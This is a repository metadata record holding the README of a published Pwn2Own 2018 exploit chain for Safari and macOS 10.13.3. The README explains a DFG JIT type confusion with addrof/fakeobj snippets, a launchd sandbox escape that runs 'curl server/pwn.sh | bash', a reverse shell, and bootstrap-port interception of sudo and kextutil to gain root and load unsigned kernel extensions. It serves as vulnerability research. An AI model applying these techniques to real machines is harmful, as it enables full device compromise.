{"id":13523556,"url":"https://github.com/saelo/pwn2own2018","last_synced_at":"2025-10-05T05:16:31.098Z","repository":{"id":49949738,"uuid":"156491119","full_name":"saelo/pwn2own2018","owner":"saelo","description":"A Pwn2Own exploit chain","archived":false,"fork":false,"pushed_at":"2018-11-08T18:17:44.000Z","size":9497,"stargazers_count":761,"open_issues_count":1,"forks_count":116,"subscribers_count":24,"default_branch":"master","last_synced_at":"2025-05-25T00:07:06.497Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/saelo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-11-07T04:39:14.000Z","updated_at":"2025-04-28T16:17:02.000Z","dependencies_parsed_at":"2022-08-30T10:12:01.948Z","dependency_job_id":null,"html_url":"https://github.com/saelo/pwn2own2018","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/saelo/pwn2own2018","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saelo%2Fpwn2own2018","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saelo%2Fpwn2own2018/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saelo%2Fpwn2own2018/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saelo%2Fpwn2own2018/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/saelo","download_url":"https://codeload.github.com/saelo/pwn2own2018/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/saelo%2Fpwn2own2018/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":278411261,"owners_count":25982368,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-05T02:00:06.059Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T06:01:01.274Z","updated_at":"2025-10-05T05:16:31.059Z","avatar_url":"https://github.com/saelo.png","language":"C","funding_links":[],"categories":["\u003ca id=\"683b645c2162a1fce5f24ac2abfa1973\"\u003e\u003c/a\u003e漏洞\u0026\u0026漏洞管理\u0026\u0026漏洞发现/挖掘\u0026\u0026漏洞开发\u0026\u0026漏洞利用\u0026\u0026Fuzzing","Basic"],"sub_categories":["\u003ca id=\"41ae40ed61ab2b61f2971fea3ec26e7c\"\u003e\u003c/a\u003e漏洞利用"],"readme":"# Pwn2Own 2018: Safari + macOS\n\nSafari RCE, sandbox escape, and LPE to kernel for macOS 10.13.3.\n\n## Usage\n\nInstall nasm and tornado:\n\n```\nbrew install nasm\npip3 install tornado\n```\n\nCheck config.py if you want to change the host or ports. Afterwards start the\nserver with `./server.py` and navigate to the shown URL.\n\n## Overview\n\nThis exploit chain uses three different bugs to go from JavaScript code running\ninside Safari to kernel-mode code execution:\n\n1. An incorrect optimization in the DFG JIT compiler that can be used to cause\n   a type confusion\n2. Missing sandbox checks in launchd, allowing sandboxed processes to spawn\n   arbitrary (non-sandboxed) processes\n3. A logic bug in XNU, allowing a process to override the bootstrap port of\n   its child processes, leading to an IPC MitM situation\n\nThe exploit chain is implemented in six stages, each located in its own\nsubdirectory:\n\n* stage0/: the WebKit exploit\n* stage1/: the first stage payload written in assembly\n* stage2/: the second stage payload to perform the sandbox escape\n* stage3/: shell scripts to coordinate the remaining stages\n* stage4/: a LPE to gain root\n* stage5/: a LPE to gain kernel code execution\n* libspc/: reimplementation of the XPC protocol, used by stages 2, 4, and 5\n\nEvery subdirectory (with the exception of libspc/) contains a file named\nmake.py which, when executed, performs any kind of build command necessary and\ncreates a list of files to be served by the webserver.\n\n## Stage 0\n\nGoal: achieve shellcode execution inside the sandboxed WebContent process\u003cbr/\u003e\nBug exploited: incorrect optimization in the DFG JIT compiler\u003cbr/\u003e\nSee also [this BlackHat talk](https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf)\n\nThe DFG JIT compiler represents JavaScript code in its own intermediate\nrepresentation (IR), the Data Flow Graph (DFG). Typically, one JavaScript expression\nwill be translated to one or multiple IR instructions in this graph.  In the\ncase of a constructor function, the `CreateThis` instruction is emitted and is\nresponsible for allocating the `this` object that is constructed by the\nfunction. As an example, the function `function Consructor() {}`, when called\nwith `new`, would roughly be translated to\n\n```\nv0 = CreateThis\nreturn v0\n```\n\nLooking at the AbstractInterpreter, we can see that the DFG JIT compiler\nassumes that the `CreateThis` operation will not result in any side effects\nbesides a heap allocation. In fact, this code:\n\n```\nfunction Constructor(obj) {\n    return obj.x;\n}\n```\n\nwill roughly be translated to the following DFG instructions:\n(Here, the `StructureCheck` was moved to the beginning of the function by the\n`TypeCheckHoistingPhase`).\n\n```\nStructureCheck(arg1);\nv0 = CreateThis;\nv1 = LoadOffset(arg1, OFFSET)\nreturn v1;\n```\n\nHowever, that assumption is invalid, as the slow-path code for `CreateThis` can\nexecute arbitrary JavaScript code in some cases. In particular, by using a\nProxy around the actual function, the `get` trap for the \"prototype\" property\nwill be called during the slow-path handler for `CreateThis` as it needs to\nfetch the prototype object for the constructed object:\n\n```\nfunction Constructor(obj) {\n    return obj.x;\n}\n\nvar handler = {\n    get(target, propname) {\n        /* run JS here, modify the structure of the argument object, etc. */\n        return target[propname];\n    },\n};\nvar ConstructorProxy = new Proxy(Constructor, handler);\n\n// Force JIT compilation of ConstructorProxy\n```\n\nAs such, it is now possible to modify the Structure of an object without the\nJIT compiler performing a bailout.\n\nThis bug can be used to construct `addrof` and `fakeobj` primitives as follows:\n\n### addrof\n\nWe compile the code for the case of a JSArray with unboxed double elements,\nthen, in the callback, transition to JSValue elements. Afterwards, the JIT code\nwill load a JSValue from the array, but treat those bits as a double and return\nthem to us. The following code will assign the address of `leakme` to the\n\"address\" property of the constructed object.\n\n```\nfunction InfoLeaker(a) {\n    this.address = a[0];\n}\n\nvar handler = {\n    get(target, propname) {\n        if (trigger)\n            arg[0] = leakme;\n        return target[propname];\n    },\n};\n// ...\n```\n\n### fakeobj\n\nHere we essentially do it the other way around: we optimize code to store a\ndouble to an array with unboxed double elements, then again transition to\nJSValue elements in the callback. The code will continue to write our\ncontrolled double in unboxed form to the backing storage. When we later access\nthat array element, it will treat those bits as a JSValue instead of a double.\nThe following code will write the unboxed double `address` into the backing\nbuffer of `a` which we can then read out as JSValue, allowing us to \"inject\"\nJSValues of our choosing into the engine.\n\n```\nfunction ObjFaker(a, address) {\n    a[0] = address;\n}\n\nvar handler = {\n    get(target, propname) {\n        if (trigger)\n            arg[0] = {};\n        return target[propname];\n    },\n};\n// ...\n```\n\nAs such we end up with the ability to write a double and treat is as JSObject\npointer and vice versa. This can be exploited as described in [attacking\njavascript\nengines](http://www.phrack.org/papers/attacking_javascript_engines.html).\n\nThe exploit first achieves arbitrary process memory read/write by faking a\nFloat64Array, then searches for the JIT region (mapped RWX) and writes the\nstage1 shellcode there.\n\n## Stage 1\n\nGoal: bootstrap stage 2 by writing a .dylib to disk and loading it via dlopen()\n\nA short assembly payload which essentially does the following:\n\n1. Call `confstr(\\_CS\\_DARWIN\\_USER\\_TEMP\\_DIR)` to obtain a path to a writable directory\n2. Create a new file named 'x.dylib' in the writable directory\n3. Write the stage2 dylib into the newly created file\n4. Load the dylib into the WebContent process through `dlopen()`\n\n## Stage 2\n\nGoal: break out of the sandbox\u003cbr/\u003e\nBug exploited: missing sandbox checks in launchd's \"legacy\\_spawn\" API\u003cbr/\u003e\nSee also [this talk](https://saelo.github.io/presentations/bits_of_launchd.pdf)\n\nLaunchd exposes the \"legacy\\_spawn\" RPC endpoint as routine 817 in subsystem 3.\nThis API fails to validate whether the caller should be allowed to spawn\nprocesses and will just `execve` any binary on the system for the caller with\ncontrolled arguments. Since launchd is reachable through the bootstrap port,\nthis makes it possible to escape from the sandbox.\n\nThe exploit essentially runs `curl server/pwn.sh | bash` and thus passes\ncontrol to stage3.\n\n## Stage 3\n\nGoal: pop calc and bootstrap the remaining stages\n\nThis executes `open /Applications/Calculator.app` and establishes a reverse\nshell, then fetches all files required for the remaining stages and runs the\nexploits.\n\n## Stage 4\n\nGoal: gain root via a LPE exploit\u003cbr/\u003e\nBug exploited: XNU bootstrap port MitM\u003cbr/\u003e\nSee also [this POC talk](https://saelo.github.io/presentations/poc_18_macos_ipc_mitm.pdf)\n\nIn XNU, the `task_set_special_port` API allows callers to overwrite their\nbootstrap port, which is used to communicate with launchd. This port is\ninherited across forks: child processes will use the same bootstrap port as the\nparent. A security issue now arises if the child process is more privileged\nthan the parent, as is the case for example with `sudo` (a setuid binary) or\n`kextutil` (having the \"com.apple.rootless.kext-management\" entitlement\"). By\noverwriting the bootstrap port and forking a child processes, we can now gain a\nMitM position between our child and launchd (which our child expects to reach\nwhen sending messages to the bootstrap port). The child process will ask\nlaunchd to resolve various mach and XPC services. By resolving these services\nto other ports controlled by us, we can also gain a MitM position with\narbitrary system services used by our child process. Exploitation then depends\non how those services are used by the attacked program.\n\nTo gain root we target the `sudo` binary and intercept its communication with\n`opendirectoryd`, which is used by `sudo` to verify credentials. We modify the\nreplies from `opendirectoryd` to make it look like our password was valid.\n\nIt appears that there was an attempt to fix this problem since libxpc (which\nperforms the communication with launchd) verifies that the responses indeed\ncome from a uid=0 and pid=1 (== launchd) process. However, these checks are\ninsufficient. We can bypass them as follows to resolve `opendirectoryd` to our\nown port:\n\n1. Register our own mach service (e.g. `net.saelo.hax`) with launchd using the\n   `bootstrap_register2` API\n2. Intercept the service lookup request to launchd and replace the string\n   `com.apple.system.opendirectoryd.api` with `net.saelo.hax`\n3. Forward the request to launchd, but leave the original reply port in place,\n   so launchd answers directly to the child process and the checks in libxpc in\n   our child succeed\n\nAll that remains now (for a privilege escalation to root) is to forward the\nmessages between opendirectoryd and sudo, but replace the authentication error\nreply with a success reply.\n\n# Stage 5\n\nGoal: load a (self-signed) kernel extension\u003cbr/\u003e\nBug exploited: XNU bootstrap port MitM\u003cbr/\u003e\n\nThis exploits the same flaw as stage4, but this time targeting `kextutil`. We\nintercept the connection to `com.apple.trustd` and spoof the certificate chain,\ncausing `kextutil` to think that our self-signed kext is actually signed\ndirectly by apple.\n\n`kextutil` proceeds roughly as follows when asked to load a .kext from disk:\n\n1. Verify the integrity of the .kext by checking all signatures against the\n   provided certificate\n2. Communicate with `trustd` to obtain the certificate chain and establish\n   whether the root certificate is trusted\n3. Verify that the root of the certificate chain is an apple certificate\n4. Check whether the .kext is user-approved by talking to `syspolicyd`.\n   However, if `syspolicyd` can not be reached, `kextutil` simply proceeds\n\nThis enables the following attack to load self-signed kernel extensions:\n\n1. Create a .kext and sign it with a self-signed certificate\n2. Run kextutil and resolve `com.apple.trustd` to our own service\n3. Intercept messages to `trustd` and reply with a hardcoded certificate chain\n   of an official apple .kext\n4. Block communication with `syspolicyd` (e.g. by replacing\n   `com.apple.security.syspolicy.kext` with `net.saelo.lolno` in service lookup\n   requests to launchd)\n\n`kextutil` will now load our kernel extension into the kernel.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsaelo%2Fpwn2own2018","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsaelo%2Fpwn2own2018","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsaelo%2Fpwn2own2018/lists"}